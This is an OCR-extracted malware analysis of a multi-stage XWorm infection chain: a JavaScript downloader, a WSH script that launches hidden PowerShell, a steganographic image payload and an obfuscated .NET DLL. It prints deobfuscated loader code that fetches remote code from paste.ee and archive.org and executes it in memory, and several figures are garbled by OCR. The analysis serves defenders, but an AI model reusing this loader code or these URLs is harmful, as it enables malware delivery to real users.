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Figure 1. XWorm Attack Flowchart.

Analysis of transfer_credit_alert.js

File Name Transfer Credit Alert

File Type JavaScript (.js)

MD5 dbac200e7a50edfb7aa8f15af12d6adb

SHA-256 66dc116cb926d12d290a27f96c4431cc9d32d3cd2d4chfc22dd664169f18bbfe
Static Analysis

File Type Unknown format

File Info Unknown format

File Size 32.79 KB (33580 bytes)

PE Size Mot a Portable Executable.

Figure 2. Information Related to the Transfer Credit Alert.js File.

The analyzed JavaScript file has a size of 32.79 KB. Unlike a Portable Executable (PE) file, this file is a script-based

payload that serves as the initial stage of the infection chain.
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283 licebane i3 vre ¥ Geziclln go Qv vie ¥ Gs25cll;

284 licebane = la.n:ebane xepla:e (o, ‘mﬂd'ﬂxuﬂtm&fg B

285 var classe = licebane;

288 var cZMUzIFp = " *
287 - <!-- this script is provided by https://www.jiavascriptfreecode.com
288 "<IDOCTYPE html>\r\n" +

Figure 3. Obfuscated JavaScript Code Structure.

At first glance, the script appears to contain a legitimate HTML/JavaScript interface. However, further examination reveals
that it contains a heavily obfuscated code structure. The malicious logic is concealed using embedded Unicode character

sequences and repetitive expressions, significantly reducing code readability and making static analysis more difficult.

The added Unicode characters do not contribute to the functionality of the program. Instead, they are used to conceal the

actual code and evade signature-based detection mechanisms.

832 var balkiest = .l r»rauex:aa zhe z"r*fUHGXfSE‘C:&t

833 balkiest 4= "l M—{'Hu@x artne X (225l 2o JFHIe X O

B34 balkiest += *

835 balkiest +=

836 balkiest +=
+=
+=

nE‘

837 balkiest
838 balkiest CZ, z__rnruuexuoax__c Mierome x fezs 115
839 balkiest = balklest replace {:;‘zllllﬂfHﬁGXUaE'{ll]é/g ny

841  wvar philomel = -o.llFreme X GseicllZGe,
842  philemel += - llruneX Us2Cll Ee dlerime X Usadllz" ;
843  philomel += - MtrrvnoX Ts22CllzTe drume ¥ ez ;
Ba4 philomel = philomel.replace (;;-‘zllliﬂfﬂﬁexﬁﬁa‘(lllé/g, "y

845

846 var cadaverize = new ActiveXObiject(classe);

547 cadaverize.open(philomel, balkiest, false):

848 cadaverize.setRequestHeader ("User-Lgent", "MyCustomfgent/1.0");
849 cadaverize.send() ;

850

851 H4if (cadaverize.status == 200} {

852 new Function(cadaverize.responseText) ()

853 } else if (cadaverize.status == 404) {

854 WScript.Echo("Error 404: File not found.");

55 } else if (cadaverize.status == 403) {
WScript .Echo("Error 403: Rccess denied."™);

} else if (cadaverize.status ==
WScript.Echo("Error 500:

=1 & L

server error.");

00 00 0D 00 00 0D O
oy ooy Oy LnoLnoLnoun G
(= I Ue R w's ]

} else {
WScript.Echo ("HTTP Error " + cadaverize.status + ": Reguest failed.");
)
2 var gestour = " \r\n" +

Figure 4. Unicode Obfuscation Removal Routine.

The balkiest and philomel variables contain an encoded URL and the HTTP request method ( GET ), respectively.
Instead of storing these values in plain text, the malware appends a repeated Unicode character sequence throughout both
strings in order to conceal their actual contents.

The original values are recovered using JavaScript's replace() function:

balkiest = balkiest.replace(/ f=[armmexUs2'CO3/g, "");

philomel = philomel.replace(/ f= [artieXUs='COz/g, "");
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This process reveals the original URL and HTTP method at runtime by removing all occurrences of the specified Unicode
sequence. This technique is a simple string obfuscation method commonly used to evade static detection and make reverse

engineering more difficult.

main,js » ...

1 var licebane = "MSXML2.ServerXMLHTTP.6.0";

2 var balkiest = "http://paste.ee/d/o5Qmlbun/@";

3 var philomel = “GET";

4

5  var cadaverize ActiveXobject(classe);

6  cadaverize.open(philomel, balkiest, false);

7  cadaverize.setRequestHeader("User-Agent”, "MyCustomAgent/1.0");
8  cadaverize.send();

9
1@ if (cadaverize.status 200) {
11 Function(cadaverize.responseText)();
12 } else if (cadaverize.status 194) {
13 Wscript.echo("Error 404: File not found.");
14 1 else if (cadaverize.status 1493) {
15 wWscript.Echo("Error 4@3: Access denied.”);
16 } else if (cadaverize.status see) {
17 wscript.echo("Error 50@: Internal server error.");
13 1 else {
19 wscript.Echo("HTTP Error " + cadaverize.status + ": Request failed.");
20 ]

Figure 5. JavaScript Code After Removing the Obfuscation.

After removing the obfuscation, the script uses the MSXML2.ServerXMLHTTP.6.0 ActiveX component to establish an
HTTP connection. An HTTP GET request is sent to the following address:

hxxp[:1//paste[.]ee/d/o5QmlbuN/@

To make the request appear more legitimate, the malware defines a custom User-Agent header:

MyCustomAgent/1.0

If the server returns an HTTP Status 200 (OK) response, the response body is retrieved and directly executed using the
following statement:

new Function(responseText)();

Instead of writing the payload to disk, the downloaded JavaScript code is compiled and executed directly in memory. This
behavior allows the malware to dynamically retrieve and execute the subsequent stages of the infection chain from a remote

server while reducing the artifacts left on disk and making forensic analysis more difficult.

At this stage, the JavaScript file functions as an effective first-stage downloader (loader). Its primary purpose is to download

and execute the next malicious payload from a remote server.

banana.js Analysis
File Name Banana
File Type JavaScript
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MD5 9297babb5212f0e53a6049c482b64154

SHA-256 d364a5abc093e18c4ab0f8498ee7ccabfff34626e26ce327a8501693d10f5e3a
Static Analysis

File Type Unknown format

File Info Unknown format

File Size 6.96 KB (7123 bytes)

PE Size Mot a Portable Executable.

Figure 6. Information About the Banana.js File.

The extracted JavaScript file is 6.96 KB in size and represents the second stage of the infection chain. Compared to the

previous loader, this script contains additional layers of ebfuscation and is responsible for preparing the execution of a

PowerShell payload.
& C @& paste.ee/d/o5QmlbuN/0
/*
* WSHModule: shell
*/
if (typeof module === 'undefined' || !module.exports) {

var purification = "J¢,EEER* @ X U5 CERZGT, 2 BEER S © X U5 "CEESF ¢, BEERT = @ XU 52 "CEEE 5741
SCEBEMS pBEERT @ X U5 \CEE U BB © XU 5 "CaB g, o B8 © X 55 "CABE P, BEER = 0 X 05 CHE:
22 "CEEZ G BEERT =% © X 052 *CEEZ ST 4o BEERT T © X 52 {CEEZ 353, BT @ X U 52 “CHEF €7y, BEERT = @ X U 5o “CEI
© X0 5 "CHBEm,  BEERr T © X U5 "COBEF 2 BEER = © X 52 "CEEE 0, BEER T © X (5 "CHBE do ,B0Er ™ 0 X U5
= @ XU g2 "COES 0y, BEERT = © X U 52 "CEEZ b o BEERT 2 @ X U2 "CREEW  p BEER = @ X U 5o "CHBFE Ty o BEER = © X
SCEBEU BT @ X 05 \CEE32 0, BEEar ™ 0 X5 CaB2 10,0883 © X U5 "CaBE 20, ,BEE ™ 0 X 5 CHE:
22 "CEEZ NG, BEERT =% @ X 052 *CEEZ v 34 o BEERT T © X 52 {CEEZ btz o EEEAT ) X U 52 “\CEEZ Ty  BEERT = @ X U 5o “CEI
© X5 "CHB 00, BEE=r ™ © X052 COBE 2 BB © X052 "CEEEp ,BEER T © X (5 "CHBE Gy ,B0Er ™ 0 X U5
= @ XU g "COBZ Fo g BEERT = © X U 52 "CEEE 23 o BEERT 2 @ X U5 "CRBF 207, BEER = @ X U 5o "CHEF Ty o BEEA S © X
SCEBEy < 2 BEERT @ X 5 \CEEE a7 BEEA T © X 5 "COBRWS  pBEE T © X U5 "CHES 22, ,BEER T 0 X 05 CHE:

5 "CEBE G BEERT ™ © X U 52 "CHBE 10, BEERr @ XU 52 “CEE2¢ 4y 2 BEERr ™ 0 X U5 "CaBz ot BEEA = 0 XU Cal

® X052 "CEEz ke BEERrT © X052 COBE 202 BEER ™ © X 52 "CEEEGE ,BHER T & X (15 "CEEZ 104 B8 © X U5

Figure 7. Obfuscated Banana.js Source Code.

Upon examining the downloaded script, it was observed that the entire source code had been heavily subjected to
obfuscation. Variable names, strings, and execution logic have been deliberately concealed to make manual reverse

engineering and automated static analysis more difficult.
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bananajs > ..

1

2 if ( module ‘undefined’ module.exports) {

3 var purification = "JG9saXZpbmUgPSAnVmtGSic7IGF@cmFjdGVuyY2h5bWEEPSBbU31zdGVELkNvbnZlcnRdOjpGemate
4

5

6 var micronor = "$purification="" + purification + "";"

7 micronor "$Pforzheim=[System.Text.Encoding]: :UTF8.GetString([System.Convert]::FromBase64str:
8

9 var albertist = "powershell -whidden -noprofile -ep bypass -c ";
10 var phosphonolipids = WScript.CreateObject("WScript.shell™);
11
12 phosphonolipids.Run(albertist + "\"" + micronor + "\"", @, false);
13 wWscript.Quit();
14}
15
16 (function(/*context, shell*/) {
17 try {
18 arguments[1].context = arguments[e];
19 arguments[1].execute();
20 } catch (e) {
21 wscript.Echo("Error: ' + (e.message e.description e));

4

)
3

Figure 8. Deobfuscated Banana.js Code.

After removing the obfuscation, the script was identified as a Windoews Script Host (WSH) JavaScript loader responsible

for executing an embedded PowerShell payload.

The execution flow can be summarized as follows:
1. The Base64-encoded PowerShell payload is stored in the purification variable.
2. The encoded payload is decoded and assigned to the $Pforzheim variable.
3. The script launches PowerShell using the -ExecutionPolicy Bypass parameter.
4. The decoded PowerShell code is executed using Invoke-Expression (IEX) .
5. The entire process is initiated through the WScript.Shell.Run() method.

This approach allows the malware to transition from JavaScript execution to PowerShell execution without writing

intermediate files to disk.
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global.uWSHModule. postCommand = function(command, options) {
command = command.toLowerCase().replace(/\W+/g, "');
options || (options = {});

switch (command) {
case 'consolelog':

stdout.WriteLine(options.data);

break;
case 'gettextclip’
case 'settextclip’
case 'emptyclip’:
case 'gethtmlclip’
case 'sethtmlclip’
case 'tmpfile’':

return orginal postCommand.apply(this, arguments);
// noop dom functions

case '"alert':

stdout.WriteLine(options.data);

Figure 9. Internal Command Dispatcher.

The analyzed script implements an internal command dispatcher designed for the Windows Script Host (WSH)

environment. Commands such as consolelog , alert , confirm ,and prompt are routed to terminal output, while

clipboard and temporary file operations are forwarded to their respective handlers.

This abstraction layer allows the malware to adapt GUI-oriented JavaScript functionality to a command-line execution

environment while maintaining compatibility across different execution contexts.

Recipe ~amau

From Base64 ~ @ mn
Alphabet .
A-Za-z8-9+/=

Remove non-alphabet chars D Strict mode

Figure 10. Extracted PowerShell Payload.

Input + O

G12aW51KTskZ61 jaGoab21 pe2VkIDAgWINSc IR1bSSUZXHALKVUY 20K a5 N X TOBVWRGOC SHZXRTdHIpbmcoi
hEBWEOYR Xy alivy cyAS TCARMAROY ZNOTWFXSN 1 ZWE o TVML SWIyMWnOyR 3ZWF BaGVydmF uZSASTFt TeX)
ydFB60kzyb311YXN1NRTdHIpbmcoIGH1cn IpZX 1ZKT skaH lub3vyalim 1 bl hIDBgWINS c3R1bSSUZXhALkVI
VWRGOC SHZXRTAH Iphmco THA1YXROZX ) 2¥WS 1K THBZGQIVHLWZSATQXNZ ZW1 1 bHLOYWL 1 TFNS ¢ 3R1bSSECMF L
GhlcjanaHROcHMELyohcmiloaXZ 1Lmay Zyokb3dubGohZCo1bml 22X0 2 ZS8xN zMzMzUSMzELM Ay LTEANT Avd)
€ZMzMLIOTMXNTIWMi@ANzUWLMpWZyc 7 JHNG GOt YrVyZ 2tpY T10ZXc tT 2 JqZUNSI FNSC 3R1bS50ZXQuUV2VIQR:
vbiI1emdralEuSeVhZ6Vy cySBZE001 1V ZXT QWA 1 bnQnLCdNb3 ppbGxhL zUuMC cpoy RpbmR pdm1 kdWF s aXN
cmdrallEuRG3bmxvYWREYXRhKCRIb211dGh1cik7IHIvb3IR 17651 cIMAW2 T SdGVhXVEOMHEBM I WwgMHEBRCWA
SweMHE ZHywgMHEWMCWEMHEWMCWEMHEWMOWEMHEWMC WEMHEWMCWE MHE 2 N A Wg MHEWMCWE MHEWMCWE MHEWMCWgMI
WEHHEUMCWEMHEWMC WgHHG ZNCWEMHEWMCWgMHEWHMCWEMHEWHCWEHHEBRCWEHHEY R 11gMHEWMCWEMHEWHCWghH)
MHEXOCWEMHEWMCWEMHEMOWEMEEUMC WEMH WO g MHEWMC W MH g ZQy e MHE 2RSWEMHE 2 My g MHEWMCwghih
MHEWMCWEMHEWMCWEMHRDNCWEMH R SWEMHEWMC WEMHEWMC W EMH B WM Cw gMHE WM W EMHEWH i gMHE MO MHEw
HEwMCwgMHEWMCK 7 IGF 1 ZWx zb25 pdGUILTE 7ZmayKCREYIN T alS8b3N0 ZWQOMDskbWF j a2 ludGoz aGuk IC1s 2!

b | o 6 EMTE A b T 18 h B ] T T 00T AT PR AL B 1Sk S 1 5t T2 E s ] 1o il s

wc 3358 = 2 I 142143 (1 selected) Trr

Qutput a8

folivine = "VKF1";%atractenchyma = [System.Convert]::FromBasesdstring($olivine);sdic
[System.Text.Encoding] : :UTF8.GetString($atractenchyma); scurriers =

*2xhe IMaWIYYXI5MS5Tb211 " j $weathervane =
[System.Convert]::FrombasesdString($curriers) shypouricemia =

[System.Text.Encoding] : :UTF8.GetString(Sweathervane) ;Add-Type -AssemblyName
System.Drawing;$coemether="https://archive.org/download/universe-1733359315202-8750/u

Using CyberChef, the From Base64 operation was applied, successfully decoding the embedded payload. As a result, the

PowerShell script executed by Banana.js was revealed.

Dynamic Analysis
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> ne —
1 | %olivine - "VkF3';

2 f$atractenchyma [System.Convert]: :FromBase6dstring($olivine);

3 $dichotomised | System. Text.Encoding|: :UTF8.GetString(%atractenchyma);

4 $curriers 'Q2xhc3NMaldlyYX1sMSSIb211"

5 fweathervane [system.Convert]: :Frombasesastring($curriers);

6  $hypouricemia = [System.Text.Encoding]::UTF8.GetString(fweathervane);

7 _Add-Type AssemblyName System.Drawing;

8 | $comether-"https://archive.org/download/universe-1733359315202-8750/universe-1733359315202-8750.9pg" ;
9 | #schomburgkia=nNew-Object System.Net.webClient;

10 dechambyrokis Hoaders add( "User-Apent' "Mozilla/s.8'):

14 $individualise=$schomburgkia.DownloadData($comether);

12 frootedness=[byte[ ]](@x42, ex4D, @x72, OX6E, ©x37, ©OX00, Ox00, Ox00, OX00, OX00, OX36, OX00, Ox00, Ox00, 0J28, OX
13 $abelsonite--1;

14 for($mackintoshed-0;

15 $mackintoshed $individualise.length-$rootedness.Length;

16 $mackintoshed++){ $armories=%true;

17 for($mixmers=e;

18 smixmers $rootedness.Length;

19 $mixmers++)

Figure 11. PowerShell Execution Flow.

The decoded PowerShell script is designed to extract a payload hidden inside an image file using steganography. First, the
Base64-encoded strings VkFJ and Q2xhc3NMaWJyYXJ5MS5Ib211 are decoded, yielding the method name VAI and the
.NET class ClassLibrary1.Home , respectively.

The script then creates a System.Net.WebClient object and downloads a JPEG image hosted on archive.org. Instead of
processing the file as a normal image, the malware searches the downloaded data for the BMP magic header ( 42 4D ).
Once the header is located, all bytes following this point are extracted and stored for subsequent processing.

This technique allows the malicious payload to be concealed within an apparently harmless image file, making network-

based detection significantly more difficult.

Gelecektel Googhe Chiome gincellemelerin almak igin Windows 10 veya sonraki bir sdrdmin yBkId almasi gereldr. Bu bilgisayar Windaws ar.

Figure 12. Image Containing the Embedded Payload.

The downloaded image is searched for the BMP file signature ( 42 4D ). If the signature is not found, execution is
immediately terminated. Once the BMP header is located, all remaining bytes are copied into a MemoryStream, and a
Bitmap object is created from this stream. This allows the malware to process the image directly in memory without writing

intermediate files to disk.
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39 for($stoichiometries=@;

48 $stoichiometries -1t $cosmism.width;

a1 $etoichigmetoioc i deranmed_degsnisn. GetPixel ($stoichiometries,$veinage);

a2 $Chantelle.Add($crammed.R);

a3 $Chantelle.Add ($crammed.G);

44 $Chantelle.Add{$crammed.B)}};

45 $neckercher=[BitConverter]::ToInt32(%Chantelle.GetRange(0,4).ToArray(),0);

a6 dastooballicticeodchantello cotange(d doockerchorny Todocay().

a7 I $dietists=[Convert]::ToBase64String($astroballistics).Replace("A", '@").Replace('@", 'A"); I

Figure 13. RGB Pixel Extraction.

The script processes each pixel in the bitmap individually using nested loops. For each pixel, the Red, Green, and Blue

color components are sequentially appended to the $Chantelle byte array.

The first four bytes represent the size of the hidden payload and are converted into an integer using
BitConverter::ToInt32() . Based on the resulting length value, the remaining bytes are extracted and reconstructed as a

Base64 string.

Before decoding, a simple obfuscation layer is removed by replacing the A and @ characters. The resulting Base64 string

is then decoded into the original binary payload.

39 Eveinage++){for(Sstoichi

Ps_c-hwindowsh cuctemid~ Write-Hoct fdiseticts

TVQQAAMAAAAEARAA/ / BAAL AAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAGAAAAALF 40 [ S3stoichiometries -It
ug4ATANNIbgB TMOhVGhpcyBwemdncmF tIGNhbm5vdCE 1 Z SBydwd gawd gREITIGIVZ GUUDOOKIAAAAAAAAABGROAA 41 = 3$stoichiometries++){
TAEDAMVCYMJAAAAAAAAAADAAAT ELATAAAGQ3AAAT AAAAAAAAT OM 3AAAGAAAAAAAAAAAAE AAGAAAAAGAABAAAAAAA 42 $Chantelle. Add(Scram
AAAGAAAAAAAAAADGNWAAAGAAAAAAAAMAYTUAAB AAAB AAAAAAE AAAE AAAAAAAABAAAAAAAAAAAAAAAGCDNWELAAAA 43 $Chantelle. Add(Scram
AKA3AAAGAAAAAAARAAAAAAAAAAAAAAAAAMAZAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAA 44 $chantelle.add(Scram

$neckerche

AARAAAARAAAAAAAAAAAATAAACAAAAAAAAAAAAAAACCAAAE GAAAAAAAAAAAAAAC S0ZXhOAAAALGM SAAAGAAAAZ DCA
AATAAAAMAAAAAAAAAAAAACARAGAU CNNY YWAAAAAGAAAAOD CAAAY AAABMNWAAAAAAAAAAAAAAAABAAABALNT 1bGO j
AARMAAANAMASAAACAAAADDCAAAAAAAAAAAAARAAADAAADOAAAAAAAAAAARAAAAAAAACDOZ CAAAAAAE GAAAACAAUA
LBgoADRrDWADAAAAAAAAAF T PIWCAhwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMW
AAAGAAAMAAAAAChAKWAGKGYHG 17 AGAACT 0eAnsDAAAKK 1YCKAQAAAOCA30CAAAKAGRIAWAAC T OAABMWAWBBAAAA
AQAAEQN1AQAAGWOrMATGO2UAAAATLGYS SsWF isDFysALU40BgAACGI7 AGAACGZ 7 AGAACMBHAAAKL BK rFBwi 1 TDL

feunuchism=[Convert]
50 $circumvection=[Ref]

KwOFxhwyzS: YFVTLKF5DFys ALRGOCAAACG )7 AWAACGZ 7 AWAACTIB I AAAKKWYWKC 8 rAAYrBhcoLysAB] reGCgy 51
KWAGGSQVKWAGWT gGAAAKANSCAAAKbWOAAADYGSOVKWAGHT gTAAAKANSDAAA AAADYKhMWEBWC GAAAAAGAAERQQ 52 circumvection. GetTy
7 x0AACOkKWAGG T gvKwAGJOEAAAE TF 1 gvKwAGANSCAAAKChIAIXEEAAADAQAABS S AXCrAXYrACOE ThQrC/4WBAAA 53 Scosmism.Dispose();
G2EMAAAKDT UXKCEIrAAYCewMAAAOLE GE | CQUAABUMBQAAGYWDF y's DF SALQAMFCSL /hYFAAABbWWAAAQTKICrAAYq E‘; $Basotho.Dispose()

J1ZAAAABhSHKCBrAAZh
\.I'\.'\Oqu'\!b’\}\i‘brj PGWAG
YTY1TFAWAAACAAAAAVAAAA

Hg17DwAAC | 0eANsQAAAKKhACeXEAAAGGAAATMATAAAE AAAMAABEAAT GEAAAKAGN
C1thByD3AAAAKCErAAZ hCyspCBIKKCBrAAZ hDD1 FAAAACBIGWE UDAAAADWAAACH,
DCVNBX90WEUDAAAAGRAAADYAAABJAAAAOHYAAAATYgWrThIrkMBbAAYL HBUMKGET
WwAAAR fACzhz//// IHgBAARnL ysABgof+ws4YP///zhP////AgVIEQAACKhBTCThA// ',n’AgRQEMAL'(shHrII‘eJQ\
[/ / fKxATPhU9aP// /ysGHBOTFITKEHZOKOBT// /BEZADAKEAAAAE AAARASUGAAABCT LTAQY7 1 gAAACtSBiwFK1UW
KwMXKwABCAAAACOGAAAKANS PAAAKBNSPAAAKDbwCAAADS AXY rAXCT AC1OKAQAAADCEXAAAADGEXAAAADVCOAAC iwb

Figure 14. Extraction of the Embedded Payload.

After extraction, the payload is prepared for execution in memory. A static string stored in the $pilular variable undergoes
a simple character replacement operation to remove another lightweight obfuscation layer. In addition, the encoded Base64

string is stored in reverse order, further complicating direct inspection.
After reconstruction, the payload is converted into a byte array and loaded directly into memory using the following
statement:

[Reflection.Assembly]::Load()

By loading the assembly directly into the .NET runtime, the malware avoids creating executable files on disk. This reduces
the artifacts that may be generated during forensic analysis and allows it to bypass the detection mechanisms of many

traditional security products.

48

9 —ngHNGh)(thHva?LleLlR3chB3LVODcBRHa Replace( >=",
49 & hism=[Convert]::FromBase6astring($dietists);
50 $ mvection-[Reflection.Assembly]: :Load($eunuchism);
51 $ @(spilular,”’, ", " ", "MsBuUild’,"", ' """, ", "C:\Users\Public\Downloads ', "biggety’, 'js*, " ", "', ‘cauliform’,'2","');
52 $circumvection.GetType(shypouricemia).GetMethod($dichotomised). Invoke($memorist, $jones);
53 v v
54 SBasothD.Dispose()I

Figure 15. In-Memory .NET Assembly Execution.

After loading the .NET assembly, the malware dynamically invokes the target method using .NET Reflection. The class
name stored in the $hypouricemia variable and the method name stored in the $dichotomised variable are resolved at
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runtime. The identified method is then invoked using Reflection, with the $memorist and $jones variables passed as

arguments.

The $jones array contains 17 separate parameters that are passed to the VAI method within the loaded DLL. This stage
represents the transition from the PowerShell loader to the next stage of the malware. At this point, the core malicious

functionality is executed entirely in memory.

Microsoft.Win32.TaskScheduler.dll Analysis

File Name Microsoft.Win32.TaskScheduler

File Type Dynamic Link Library (DLL)

MD5 bab028daabe@aadalbab13581e06bdf2

SHA-256 9f95bfedd885d298368dfe79470903ecd3f9e38hb82ef5db8c4f1chbOe38b1db4
Static Analysis
* PE32

Isletim sistemi: Windows(95)[1386, 32 bit, DLL]

Badlayici: Microsoft Linker

Derleyici: VB.MET

Dil: VB.NET

Kitaplik: dnlib

Kitaplk: .NET Framework{v4.5, CLR v4.0.30319)

(Heur)Cryptor: Encrypted or packed data[Assembly invoke + TripleDES]

(Heur)Koruma: Obfuscation[CLR constructor + Virtualization + Calls encrypt + Strings encryption]

Figure 16. Information About the Microsoft. Win32.TaskScheduler.dll File.

The analyzed sample is a 32-bit PE32 Dynamic Link Library (DLL) compiled for Windows systems using VB.NET and
.NET Framework 4.5. Static analysis revealed that the assembly makes extensive use of the dnlib library and contains

encrypted resources protected using the TripleDES encryption algorithm.
The malware also employs several anti-analysis and code protection mechanisms, including:

¢ Virtualization-based protection
¢ Encrypted method invocations
¢ Runtime string encryption

¢ CLR constructor obfuscation

These techniques significantly complicate the reverse engineering process by delaying the reconstruction of code and strings

until runtime.
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" payload.dil |

&3 Version Info _
=2 NET Resources ‘ B B ‘ @ P =

Offset 01 2 3 4 5 € 7 8 98 A B CUDEF Ascii

00000000 | 30 00 8B 5D DF 04 2E 3A Bl 51 3C 85 EO 84 85 AF | 0.<]B0.:2C<.&..
00000010 | DE FA DC FD C2 5D ES 8B 96 34 42 2B 71 70 83 F8 | Sulil éc-4B+qpfe
00000020 | 14 94 FA 17 SB 8B €8 E€ 3E EO 84 03 BA F9 10 3D |0D™u0 [¢ha>&.0°ul=
00000030 | F3 03 10 80 31 Bé €7 €% 09 F4 €7 78 Bé D9 Bé 87 | cD0€19gh.dgxT0%+
00000040 | AD C2 DA B7 A7 63 ER 42 DD DD S1 E1 17 35 36 91 -A0-scépiicanse:
00000050 | 76 1E EO 38 24 18 30 FF F9 F6 93 C2 7C 77 37 C2 | v &8s00yus™A|w7E
00000060 | Fé 40 87 C7 €C EE C9% 36 01 1F 22 E3 74 BE 24 E9 | 5B#CLliEe] "&chse
00000070 | DD 52 3C 51 OE 37 73 €1 0B 5C DO 50 8C BB 57 86 IR<CD 7sal\GEEsHt
00000080 | BF B3 2R 48 4A 01 C2 SF ED 1C 4R €3 1D B4 47 11 ;“HJI]ﬂ_i Jc "GO
00000090 | €A Al BO B3 €0 FC 30 08 ED DA BD 1A 47 DC 85 3D | 9" GODivx0Gl.=
000000A0 | BE Dé 7B Bl DE 3A 7D 97 12 E2 12 9B 89 DO C7 4% | %C(+5:}-04D >‘.'§(:.I
000000BO | 36 6C 7A 17 05 A8 31 €5 81 E8 36 58 88 8F SE 2F | €1z00 le &€X~ ~/
000000C0 | A7 08 AD F1 B2 CO 95 F& 8D 30 AR 02 Fé SE EA 4B | §0-fi*h-e 0% §°8K
000000D0 | 79 DD ES 6C 51 74 14 68 C6 29 €9 2F BE EA E2 1E | yI&1QtOhE)i/%é4
000000EO | 07 €F AS 32 BA 3C 2F DO BA SE 23 BS B7 Cé 9C 33 |Dc¥2°</G° $p -Ee3
000000F0 | 86 OA SF FO Bl A2 DO BS D8 70 SE 42 CB 46 4F FO t+.%§zeGep BEFCE
00000100 | 96 AD 2C 2A 1E 48 39 7C C0 57 CC DB F5 72 08 6C | --,* H9|Awildzn1
00000110 | B84 70 9A 35 13 BB 07 A0 10 F1 AC 14 39 ES5 DE 80 ~£350»0 0f-0935€
00000120 | C1 BC 15 EE C6 €5 80 83 F2 08 Al C8 FF 3F 93 SE | AuDife€foD Ej2"~
00000130 | E9 €C 37 F8 3A 7F E2 €7 4A BA €0 41 8F C2 7A 16 | &l7e:0&gJd° A Azl
00000140 | 76 A¢ E3 3E 0D OF DO Al 75 28 1€ BB 37 21 ER F9 |v|&>.0Giu(0»7'8d
00000150 | 78 Cé FF Bl 2C 94 03 94 E5 A3 €F 57 DD 18 5D 2D | xEj#,"D"&fcwin]-
00000160 | BT FO 35 4C E3 52 0D 11 CF RO B4 5D 30 40 B€ 14 -§5LEX.01 "]0@w
00000170 | 46 ED E€ €9 3C €4 7E E3 AA Bl SF 23 €0 3C 27 31 Flei<d~8%% #°<'1
00000180 | OD DA D9 37 FB 48 95 59 6C AR SA 0D 02 00 83 E4 L007GH-Y1%5. .f&
00000190 | 7D 39 BB 58 FC 04 28 ED C7 2C FC A0 OC B9 FF 30 }9»X00 (i, 8 C*§0
000001A0 | Bl DS 8D 1F 56 0D 82 7E D2 90 85 88 53 E§ 35 Cé |0 V.,~0 “*Sé&sE
000001B0 | F9 A2 €1 1B 17 D8 B2 44 CB 48 8E 05 19 93 57 3B | ueal0@<CEH D0“W:
000001C0 | €9 74 2F 2D 7A 13 39 €7 BC ED 1E FA 01 04 0B D7 it/-z0%g%i wOpO=
000001D0 | 48 OE 8B 55 77 01 03 SB 8F 81 3% BY RE 2A 52 9D | HD«UwOD[ 9°@*R
QO00001EOQ | 35 F€ E7 F€ AB 09 74 85 22 34 57 €D C3 €3 86 F4 Ségﬁc.t_'tliixic‘rﬁ
000001F0 | AS €1 71 7D 4E DD F2 €3 21 Fé B7 C3 8C OE 4A 11 | ¥ag}Nisc's-Aenan

Figure 17. Embedded .NET Resource.
The .NET Resources section contains an embedded resource named LJce .

Analysis revealed that this resource contains encrypted data protected by a virtualization-based packer. During execution,
the resource is decrypted in memory and loaded as an additional malicious component without leaving a separate file on
disk.
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Figure 18. Internal Structure of the DLL.

Examination of the assembly revealed numerous dnlib modules as well as a suspicious namespace named

HackForums.gigajew .

The presence of this namespace strongly suggests that the DLL may have been modified or created for malicious purposes
rather than being a legitimate Microsoft component. When considered alongside the encrypted resources and extensive
obfuscation, these indicators show that the DLL functions as the primary malware loader responsible for initiating the next

stage of execution.

Dynamic Analysis

To facilitate runtime analysis, a lightweight .NET loader was developed to directly invoke the exported
ClassLibrary1.Home::VAI() method.

The developed loader reconstructs the execution flow used during the PowerShell stage by passing the same parameter array

extracted during the previous analysis. This approach allows the malware to be executed under controlled conditions and
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enables the runtime-decrypted code to be examined using dnSpy.

NE
managementObjectEnumerator =

(managemen

(managementObjectEnumerator))

managementObject

(managementObjectEnumerator);

Figure 19. DLL Before Deobfuscation with de4dot.

During the initial examination, class names, method names, string constants, and variable identifiers were found to be

heavily obfuscated.

Such protection mechanisms are commonly implemented using commercial .NET obfuscation tools to complicate the
reverse engineering process and prevent analysts from understanding the malware's functionality through static analysis

alone.

ktop\

1-2015 deddo
github.com

\Desktop\zararli.dll)

Cleaning C:\Users
Renaming all obfusc

Figure 20. Deobfuscation with de4dot.
To improve readability, the protected assembly was processed using de4dot, a widely used .NET deobfuscation framework.

The tool successfully restored a significant portion of the metadata, including obfuscated class names, method names, and

identifiers, allowing the internal execution flow to be analyzed more effectively.
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(vmName ,

management(bjec

(managementObjectEnumerator))

Figure 21. Assembly After de4dot Processing.

Although de4dot significantly improves readability, some parts of the assembly remain protected. Certain string constants

continue to be dynamically resolved at runtime through functions similar to the following:
(Class237.smethod_0(23856)

Instead of storing plaintext values directly within the executable, the malware reconstructs these strings only during
execution. This significantly complicates static analysis and makes runtime debugging necessary to recover the original

values.

( QBXtX, startupreg, caminhovbs, LEL . netfram
persitencia, url, caminho, nomedoarquivo, string_0, minutos,
startup_onstart)

Value
QBXtX "==Al
startupreg
caminhovbs
namevbs
netframework
nativo
nomenativo
persitencia

url

caminho
nomedoarquivo

.

Figure 22. Parameters Passed to the "VAI" Method.

The VAI() method receives multiple configuration parameters provided by the previous PowerShell stage. These

parameters are processed to initialize the malware's runtime configuration and control its subsequent behavior.

The supplied values contain information related to the following:
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¢ Persistence configuration
¢ Scheduled task creation

¢ Execution at startup

¢ Network and C2 settings
« Runtime configuration

¢ Operational flags

Instead of embedding these values directly within the DLL, the malware dynamically receives them from the PowerShell
loader. This modular architecture allows threat actors to modify operational parameters and reuse the same DLL across

different attacks without recompiling it.

Therefore, the VAI method serves as the primary initialization routine responsible for configuring the malware and

preparing the final execution stage on the compromised system.

( int_@)

char[] array = "\u@8le\uBe®1\u@e17\ued13".ToCharArray();
num = ar ;
(--num )

array[num] = ( N Y(array[num] ~ ‘c

| new string(array);

B
) num OUxkEFFRFFE

Figure 23. Dynamic Resolution of the Zesw Resource Name.

The analyzed function processes a four-character constant array protected by a simple XOR-based obfuscation mechanism.
Each character is first XORed with the ASCII value of 'd' (100) and then XORed again with an externally supplied

integer parameter ( int_0 ).

During the analysis, the value of int_0 was found to be 0. Therefore, the second XOR operation does not introduce any
changes. As a result, the original resource name can be recovered solely through the first XOR operation, producing the
following string:

zesw

